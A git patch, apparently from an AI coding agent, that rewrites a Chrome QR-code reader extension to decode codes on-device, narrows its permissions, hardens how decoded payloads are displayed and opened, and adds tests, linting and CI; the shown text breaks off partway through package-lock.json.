From af816f8491fae61ed1606bf4578e01acc339d598 Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 8 Aug 2026 16:10:19 +0000 Subject: [PATCH] Rewrite as an on-device scanner (v2.0.0) v1 uploaded a screenshot of the user's tab to api.qrserver.com on every scan and requested to do it. Decoding now happens entirely in the extension: the native Barcode Detection API where Chrome offers it, with a bundled jsQR fallback that retries at several scales with inversion enabled. Permissions are down to activeTab and storage, and the manifest requests no host access at all, so there is no longer any way for a capture to leave the machine. Security fixes carried by the rewrite: - Decoded text was written to the popup with innerHTML; it now reaches the DOM only via textContent. - Any payload was openable and non-URL text was silently prefixed with http://. Only http, https, mailto, tel, sms and geo are openable now; javascript:, data:, blob:, file: and chrome: payloads render as inert text. - WIFI: and otpauth: payloads no longer print their password or secret key, though Copy still yields the raw value. - History entries are keyed by id rather than array position, so deleting one row no longer removes a different one. Also adds: scanning from a file, a drop, or the clipboard; payload classification for links, email, phone, SMS, geo, Wi-Fi, contacts and authenticator keys; a redesigned popup with light/dark/system themes, focus states and reduced-motion support; an Alt+Shift+Q shortcut; extension icons at every size; unit tests, ESLint, a Web Store packaging script, and CI. Sources move to src/, split into decoder, payload and history modules. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015zpzWoinoS9nn1K735wAkQ --- .github/workflows/ci.yml | 37 + .prettierignore | 4 + .prettierrc.json | 5 + CHANGELOG.md | 47 + README.md | 141 ++- background.js | 8 - eslint.config.js | 36 + icons/icon-128.png | Bin 0 -> 3726 bytes icons/icon-16.png | Bin 0 -> 555 bytes icons/icon-32.png | Bin 0 -> 1033 bytes icons/icon-48.png | Bin 0 -> 1626 bytes icons/icon.svg | 27 + manifest.json | 48 +- package-lock.json | 1638 +++++++++++++++++++++++++++++++++++ package.json | 30 + popup.html | 115 --- popup.js | 130 --- readme_imgs/popup-dark.png | Bin 0 -> 41505 bytes readme_imgs/popup-light.png | Bin 0 -> 41910 bytes readme_imgs/screen-1.png | Bin 6299 -> 0 bytes readme_imgs/screen-2.png | Bin 11535 -> 0 bytes scripts/icons.mjs | 20 + scripts/package.mjs | 38 + src/decoder.js | 147 ++++ src/history.js | 73 ++ src/payload.js | 211 +++++ src/popup.css | 601 +++++++++++++ src/popup.html | 117 +++ src/popup.js | 299 +++++++ test/payload.test.js | 116 +++ vendor/jsqr.LICENSE.txt | 202 +++++ vendor/jsqr.min.js | 2 + 32 files changed, 3781 insertions(+), 311 deletions(-) create mode 100644 .github/workflows/ci.yml create mode 100644 .prettierignore create mode 100644 .prettierrc.json create mode 100644 CHANGELOG.md delete mode 100644 background.js create mode 100644 eslint.config.js create mode 100644 icons/icon-128.png create mode 100644 icons/icon-16.png create mode 100644 icons/icon-32.png create mode 100644 icons/icon-48.png create mode 100644 icons/icon.svg create mode 100644 package-lock.json create mode 100644 package.json delete mode 100644 popup.html delete mode 100644 popup.js create mode 100644 readme_imgs/popup-dark.png create mode 100644 readme_imgs/popup-light.png delete mode 100644 readme_imgs/screen-1.png delete mode 100644 readme_imgs/screen-2.png create mode 100644 scripts/icons.mjs create mode 100644 scripts/package.mjs create mode 100644 src/decoder.js create mode 100644 src/history.js create mode 100644 src/payload.js create mode 100644 src/popup.css create mode 100644 src/popup.html create mode 100644 src/popup.js create mode 100644 test/payload.test.js create mode 100644 vendor/jsqr.LICENSE.txt create mode 100644 vendor/jsqr.min.js diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..87f33b7 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,37 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + +permissions: + contents: read + +jobs: + check: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - name: Install dependencies + run: npm install --no-audit --no-fund + + - name: Lint + run: npm run lint + + - name: Test + run: npm test + + - name: Package + run: npm run package + + - uses: actions/upload-artifact@v4 + with: + name: extension-zip + path: dist/*.zip + if-no-files-found: error diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 0000000..d7ef9eb --- /dev/null +++ b/.prettierignore @@ -0,0 +1,4 @@ +vendor/ +dist/ +node_modules/ +readme_imgs/ diff --git a/.prettierrc.json b/.prettierrc.json new file mode 100644 index 0000000..5e2863a --- /dev/null +++ b/.prettierrc.json @@ -0,0 +1,5 @@ +{ + "printWidth": 100, + "singleQuote": true, + "trailingComma": "all" +} diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..057c88a --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,47 @@ +# Changelog + +All notable changes to this project are documented here. The format follows +[Keep a Changelog](https://keepachangelog.com/en/1.1.0/) and the project uses +[semantic versioning](https://semver.org/spec/v2.0.0.html). + +## [2.0.0] + +A rewrite. The extension no longer talks to the internet. + +### Changed + +- **Decoding is now on-device.** v1 uploaded a screenshot of the user's tab to + `api.qrserver.com` for every scan. Decoding now uses the native Barcode Detection API where + Chrome offers it, falling back to a bundled copy of jsQR. Nothing is transmitted. +- **Permissions cut to `activeTab` and `storage`.** `` host permissions and the + `scripting` permission are gone; without a remote endpoint there is nothing to reach. +- **Redesigned popup** — warm paper-and-ink palette, serif headings, light/dark/system themes, + proper focus states, `prefers-reduced-motion` support and live-region status messages. +- **History rewritten.** Entries are keyed by id rather than array position, deduplicated, + timestamped with relative times, and capped at 100. +- Sources moved to `src/`, with decoding, payload parsing and persistence split into modules. + +### Added + +- Scan from an image file, a drag-and-drop, or the clipboard (Ctrl+V). +- Payload classification for links, email, phone, SMS, geo, Wi-Fi, contact cards and + authenticator keys, each with its own presentation. +- Alt+Shift+Q keyboard shortcut. +- Unit tests, ESLint, a Web Store packaging script, and CI running all three. +- Extension icons at every size Chrome asks for, generated from a committed SVG source. + +### Fixed + +- **Stored-payload injection.** Decoded text was written into the popup with `innerHTML`; + it now goes through `textContent` exclusively. +- **Unsafe navigation.** Any payload was openable, and non-URL text was silently prefixed with + `http://`. Only an allowlist of schemes is openable now, and `javascript:`, `data:`, `blob:`, + `file:` and `chrome:` payloads render as inert text. +- **Corrupt deletions.** Deleting a history entry indexed into a stale array, so removing one + row could delete a different one. +- An implicit global in `addLink` and a leftover unused `captureScreen` helper. +- The loading spinner was left visible when tab capture itself failed. + +## [1.0.0] + +- Initial release: capture the visible tab, decode via the qrserver.com web API, save results. diff --git a/README.md b/README.md index d7996fc..9c93939 100644 --- a/README.md +++ b/README.md @@ -1,58 +1,111 @@ -# **QR Code Scanner** 📷 +# QR Reader -![QR Code Scanner](https://img.shields.io/badge/QR--Scanner-v1.0-blue.svg?style=for-the-badge) -Scan QR codes directly from your browser screen with ease! +A Chrome extension that reads QR codes off your screen. Open the popup, hit **Scan this tab**, +and whatever code is visible on the page gets decoded — on your machine, with no network call. -## **Description** -QR Code Scanner is a Chrome extension that captures your current tab's visible screen, scans it for QR codes, and instantly displays the result. Perfect for quickly accessing URLs or other embedded information on QR codes without needing a mobile device. +

+ Manifest V3 + No network access + Zero runtime dependencies + MIT licence +

-## **Features** -- Capture the visible part of any tab in Chrome. -- Automatically scans for QR codes within the captured image. -- Displays the decoded text or URL in the popup. -- Saved scans for easy access and deletion when needed. -- Stylish, minimalistic popup design for a clean user experience. +| Light | Dark | +| -------------------------------------------------- | ------------------------------------------------ | +| ![Popup, light theme](readme_imgs/popup-light.png) | ![Popup, dark theme](readme_imgs/popup-dark.png) | -## **Screenshots** -| Feature | Screenshot | -|---------|------------| -| **Popup Interface** | ![Popup UI](https://github.com/devnsko/qrcode-reader-chrome-extension/blob/1c9f337477447606f7044d5653ba48a394995d2c/readme_imgs/screen-1.png) | -| **Scanning in Action** | ![Scanning Process](https://github.com/devnsko/qrcode-reader-chrome-extension/blob/1c9f337477447606f7044d5653ba48a394995d2c/readme_imgs/screen-2.png) | +## What it does -## **Installation** -1. Clone or download this repository. -2. Open Chrome and navigate to `chrome://extensions/`. -3. Enable **Developer mode** (top right corner). -4. Click **Load unpacked** and select the folder containing this project. +- **Scan the visible tab.** One click captures the viewport and finds the code in it. +- **Scan an image.** Drop a file on the popup, pick one with **Image…**, or press Ctrl+V + to scan whatever is on your clipboard. +- **Understands the payload.** Links, email addresses, phone numbers, SMS, geo coordinates, + Wi-Fi credentials, contact cards and authenticator keys each get their own presentation + instead of a wall of raw text. +- **Keeps a history.** The last 100 scans, newest first, each openable, copyable or removable. +- **Light, dark, or follow the system.** Toggle in the top-right corner. -Now, the extension is installed and ready to use! +## Privacy -## **Usage** -1. Open the extension by clicking the QR Code Scanner icon in your Chrome toolbar. -2. Click **Scan QR Code**. -3. Wait for the capture and decoding process. -4. Your scanned result will appear in the popup, with an option to save or delete it. +Decoding happens entirely in the extension. There is no analytics, no telemetry, no remote +endpoint — the manifest requests no host permissions at all, so the extension is not capable +of making one. A screenshot of your tab never leaves your computer. -## **Project Structure** -- **background.js**: Handles screen capture and communicates with the popup. -- **manifest.json**: Manages permissions and configuration for Chrome. -- **popup.html / popup.js**: The UI and main logic for scanning and displaying QR code results. +Two details that follow from taking that seriously: -## **Contributing** -Contributions are welcome! Feel free to submit a pull request with bug fixes, enhancements, or new features. +- History lives in `chrome.storage.local`, never `sync`, because a scan list can contain + Wi-Fi passwords. +- A `WIFI:` payload shows the network name but not the password, and an `otpauth:` payload + shows the account but not the secret. Both are still on the clipboard if you press **Copy**. -1. Fork this repository. -2. Create a new branch (`git checkout -b feature/YourFeature`). -3. Commit your changes (`git commit -m 'Add some feature'`). -4. Push to the branch (`git push origin feature/YourFeature`). -5. Open a pull request. +## Install -## **License** -This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. +**From a clone (developer mode)** -## **Credits** -Created by [Dev.nsko](https://github.com/devnsko). +```bash +git clone https://github.com/devnsko/qrcode-reader-chrome-extension.git +``` ---- +1. Open `chrome://extensions/`. +2. Turn on **Developer mode** (top right). +3. Click **Load unpacked** and choose the cloned folder. -### Enjoy seamless QR code scanning from your desktop browser! +No build step — the repository is loadable as-is. Pin the extension to your toolbar and it is +reachable with Alt+Shift+Q. + +## How it works + +``` +manifest.json MV3 config: activeTab + storage, and nothing else +src/popup.html/.css the popup shell and its warm-paper design system +src/popup.js controller — capture, drop, paste, render +src/decoder.js two decode engines behind one function +src/payload.js payload classification and URL vetting +src/history.js chrome.storage.local persistence +vendor/jsqr.min.js jsQR 1.4.0, bundled (Apache-2.0) +``` + +**Decoding** tries the native [Barcode Detection API][bda] first: Chrome does the work +natively, which is fast even on a 4K screenshot. Where that API is missing or comes up empty, +`decoder.js` lazily imports jsQR and retries at several scales with inversion enabled — +downscaling rescues noisy screenshots, upscaling rescues codes that are only a few dozen +pixels across. The jsQR bundle is only fetched into memory when that fallback is actually +needed. + +**Permissions** are deliberately small. `activeTab` grants a screenshot of the current tab +for the moment you click the toolbar icon, and nothing more; `storage` holds the history and +your theme choice. The v1 of this project sent every screenshot to a third-party web API and +requested `` to do it — both are gone. + +**Untrusted input.** A QR code is something a stranger can print and tape to a wall, so +`payload.js` treats every payload as hostile: nothing reaches the DOM except through +`textContent`, and only `http`, `https`, `mailto`, `tel`, `sms` and `geo` URLs are ever +openable. A `javascript:` or `data:` payload is displayed as inert text. Those rules are what +`test/payload.test.js` exists to pin down. + +[bda]: https://developer.mozilla.org/en-US/docs/Web/API/Barcode_Detection_API + +## Development + +```bash +npm install # tooling only — the extension itself ships zero runtime dependencies +npm test # unit tests for payload parsing and URL vetting +npm run lint # ESLint, flat config +npm run check # lint + test, same as CI +npm run package # dist/qr-reader-.zip, ready for the Web Store +npm run icons # re-render icons/icon-*.png from icons/icon.svg +``` + +CI runs lint, tests and the packaging step on every push and pull request. + +## Contributing + +Issues and pull requests are welcome. Please run `npm run check` before opening one, and add a +test to `test/payload.test.js` if you touch how payloads are parsed or vetted. + +## Licence + +MIT — see [LICENSE](LICENSE). Bundled jsQR is Apache-2.0; its licence is kept alongside the +bundle at [`vendor/jsqr.LICENSE.txt`](vendor/jsqr.LICENSE.txt). + +Built by [Dev.nsko](https://github.com/devnsko). diff --git a/background.js b/background.js deleted file mode 100644 index 49eef52..0000000 --- a/background.js +++ /dev/null @@ -1,8 +0,0 @@ -chrome.runtime.onMessage.addListener((message, sender, sendResponse) => { - if (message.action === "captureScreen") { - chrome.tabs.captureVisibleTab(null, { format: "png" }, (dataUrl) => { - sendResponse({ dataUrl: dataUrl }); - }); - return true; // to indicate to Chrome that the response will be asynchronous - } -}); diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 0000000..fdb19b2 --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,36 @@ +import js from '@eslint/js'; +import globals from 'globals'; + +export default [ + { + ignores: ['vendor/**', 'dist/**', 'node_modules/**'], + }, + js.configs.recommended, + { + files: ['src/**/*.js'], + languageOptions: { + ecmaVersion: 2023, + sourceType: 'module', + globals: { + ...globals.browser, + chrome: 'readonly', + OffscreenCanvas: 'readonly', + BarcodeDetector: 'readonly', + }, + }, + rules: { + 'no-console': ['warn', { allow: ['warn', 'error'] }], + eqeqeq: ['error', 'smart'], + 'no-implicit-globals': 'error', + 'prefer-const': 'error', + }, + }, + { + files: ['scripts/**/*.mjs', 'test/**/*.js', 'eslint.config.js'], + languageOptions: { + ecmaVersion: 2023, + sourceType: 'module', + globals: globals.node, + }, + }, +]; diff --git a/icons/icon-128.png b/icons/icon-128.png new file mode 100644 index 0000000000000000000000000000000000000000..4c3cf16ed6b947858d11e2596745c4fe55871f19 GIT binary patch literal 3726 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 YKXRn>)GHP~TQC8`8*sg99c1+X0Ag|To&W#< literal 0 HcmV?d00001 diff --git a/icons/icon-16.png b/icons/icon-16.png new file mode 100644 index 0000000000000000000000000000000000000000..baa1c4b5eb0274fe615140b79c20c39d3611a9c3 GIT binary patch literal 555 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 YANF7I>|90gVE_OC07*qoM6N<$f{f4qKL7v# literal 0 HcmV?d00001 diff --git a/icons/icon.svg b/icons/icon.svg new file mode 100644 index 0000000..e311d97 --- /dev/null +++ b/icons/icon.svg @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/manifest.json b/manifest.json index 797dcbe..3355e9e 100644 --- a/manifest.json +++ b/manifest.json @@ -1,16 +1,36 @@ { - "manifest_version": 3, - "name": "QR Code Scanner", - "version": "1.0", - "description": "Scanning QR codes directly from the browser screen", - "permissions": ["activeTab", "scripting", "storage"], - "action": { - "default_popup": "popup.html" - }, - "background": { - "service_worker": "background.js" - }, - "host_permissions": [ - "" - ] + "manifest_version": 3, + "name": "QR Reader — scan codes on screen", + "short_name": "QR Reader", + "version": "2.0.0", + "description": "Scan any QR code on the page, from an image file, or from your clipboard. Decoding happens on your device — nothing is uploaded.", + "minimum_chrome_version": "116", + "permissions": ["activeTab", "storage"], + "action": { + "default_popup": "src/popup.html", + "default_title": "Scan QR code (Alt+Shift+Q)", + "default_icon": { + "16": "icons/icon-16.png", + "32": "icons/icon-32.png", + "48": "icons/icon-48.png", + "128": "icons/icon-128.png" + } + }, + "icons": { + "16": "icons/icon-16.png", + "32": "icons/icon-32.png", + "48": "icons/icon-48.png", + "128": "icons/icon-128.png" + }, + "commands": { + "_execute_action": { + "suggested_key": { + "default": "Alt+Shift+Q" + }, + "description": "Open QR Reader and scan the current tab" + } + }, + "content_security_policy": { + "extension_pages": "script-src 'self'; object-src 'self'; base-uri 'none'" + } } diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..6b69181 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1638 @@ +{ + "name": "qrcode-reader-chrome-extension", + "version": "2.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "qrcode-reader-chrome-extension", + "version": "2.0.0", + "license": "MIT", + "devDependencies": { + "eslint": "^9.18.0", + "globals": "^15.14.0", + "prettier": "^3.4.2", + "sharp": "^0.33.5" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.11.3", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz", + "integrity": "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", + "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.2", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", + "integrity": 